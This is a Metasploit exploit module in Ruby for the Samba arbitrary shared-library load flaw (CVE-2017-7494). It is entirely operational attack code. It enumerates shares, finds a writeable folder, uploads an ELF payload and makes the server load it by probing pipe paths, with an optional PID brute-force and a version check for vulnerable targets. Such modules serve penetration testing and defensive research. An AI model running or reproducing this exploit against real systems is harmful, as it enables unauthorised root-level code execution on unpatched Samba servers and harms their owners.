##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.
},
'Author' =>
[
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
'hdm', # Metasploit Module
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7494' ],
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
],
'Payload' =>
{
'Space' => 9000,
'DisableNops' => true
},
'Platform' => 'linux',
#
# Targets are currently limited by platforms with ELF-SO payload wrappers
#
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
#
# Not ready yet
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
],
'Privileged' => true,
'DisclosureDate' => 'Mar 24 2017',
'DefaultTarget' => 1))
register_options(
[
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
register_advanced_options(
[
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
])
end
def generate_common_locations
candidates = []
if datastore['SMB_SHARE_BASE'].to_s.length > 0
candidates << datastore['SMB_SHARE_BASE']
end
%W{ /volume1 /volume2 /volume3 /volume4
/shared /mnt /mnt/usb /media /mnt/media
/var/samba /tmp /home /home/shared
}.each do |base_name|
candidates << base_name
candidates << [base_name, @share]
candidates << [base_name, @share.downcase]
candidates << [base_name, @share.upcase]
candidates << [base_name, @share.capitalize]
candidates << [base_name, @share.gsub(" ", "_")]
end
candidates.uniq
end
def enumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
stuff = self.simple.client.find_first("\\*")
directories = [""]
stuff.each_pair do |entry,entry_attr|
next if %W{. ..}.include?(entry)
next unless entry_attr['type'] == 'D'
directories << entry
end
return directories
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Enum #{share}: #{e}")
return nil
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
def verify_writeable_directory(share, directory="")
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Rex::Text.rand_text_alpha(8)
wfd.close
simple.delete(filename)
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Write #{share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
def share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
def enumerate_shares_lanman
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Could not enumerate shares via LANMAN")
return []
end
if res.nil?
vprint_error("Could not enumerate shares via LANMAN")
return []
end
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, share_type(stype), scomm]
end
shares
end
def probe_module_path(path, simple_client=self.simple)
begin
simple_client.create_pipe(path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Probe: #{path}: #{e}")
end
end
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
if datastore['SMB_FOLDER'].to_s.length > 0
subdirs.unshift(datastore['SMB_FOLDER'])
end
subdirs.each do |subdir|
next unless verify_writeable_directory(share, subdir)
return subdir
end
nil
end
def find_writeable_share_path
@path = nil
share_info = enumerate_shares_lanman
if datastore['SMB_SHARE_NAME'].to_s.length > 0
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
end
share_info.each do |share|
next if share.first.upcase == 'IPC$'
found = find_writeable_path(share.first)
next unless found
@share = share.first
@path = found
break
end
end
def find_writeable
find_writeable_share_path
unless @share && @path
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
def upload_payload
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename = Rex::Text.rand_text_alpha(8)+".so"
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
)
wfd.close
@payload_name = random_filename
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Write #{@share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{@share}"]
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
end
end
end
def find_payload
# Reconnect to IPC$
simple.connect("\\\\#{rhost}\\IPC$")
# Look for common paths first, since they can be a lot quicker than hunting PIDs
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
generate_common_locations.each do |location|
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
print_status("Trying location #{target}...")
probe_module_path(target)
end
# Exit early if we already have a session
return if session_created?
return unless datastore['BruteforcePID']
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
# to non-root, but their /proc/pid directories are still owned by root. Trying to
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
# good chance that this still works on some embedded systems and odd-ball Linux.
# Use the PID hunting strategy devised by Tavis Ormandy
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
# Configure the main connection to have a working directory of the file share
simple.connect("\\\\#{rhost}\\#{@share}")
# Use a second connection to brute force the PID of the first connection
probe_conn = connect(false)
smb_login(probe_conn)
probe_conn.connect("\\\\#{rhost}\\#{@share}")
probe_conn.connect("\\\\#{rhost}\\IPC$")
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
2.upto(32768) do |pid|
# Look for the PID associated with our main SMB connection
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
vprint_status("Trying PID with target path #{target}...")
probe_module_path(target, probe_conn)
# Keep our main connection alive
if pid % 1000 == 0
self.simple.client.find_first("\\*")
end
end
end
def check
res = smb_fingerprint
unless res['native_lm'] =~ /Samba ([\d\.]+)/
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
return CheckCode::Safe
end
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
vprint_status("Samba version identified as #{samba_version.to_s}")
if samba_version < Gem::Version.new('3.5.0')
return CheckCode::Safe
end
# Patched in 4.4.14
if samba_version < Gem::Version.new('4.5.0') &&
samba_version >= Gem::Version.new('4.4.14')
return CheckCode::Safe
end
# Patched in 4.5.10
if samba_version > Gem::Version.new('4.5.0') &&
samba_version < Gem::Version.new('4.6.0') &&
samba_version >= Gem::Version.new('4.5.10')
return CheckCode::Safe
end
# Patched in 4.6.4
if samba_version >= Gem::Version.new('4.6.4')
return CheckCode::Safe
end
connect
smb_login
find_writeable_share_path
disconnect
if @share.to_s.length == 0
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
return CheckCode::Detected
end
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
return CheckCode::Appears
end
def exploit
# Setup SMB
connect
smb_login
# Find a writeable share
find_writeable
# Upload the shared library payload
upload_payload
# Find and execute the payload from the share
begin
find_payload
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Cleanup the payload
begin
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Shutdown
disconnect
end
end
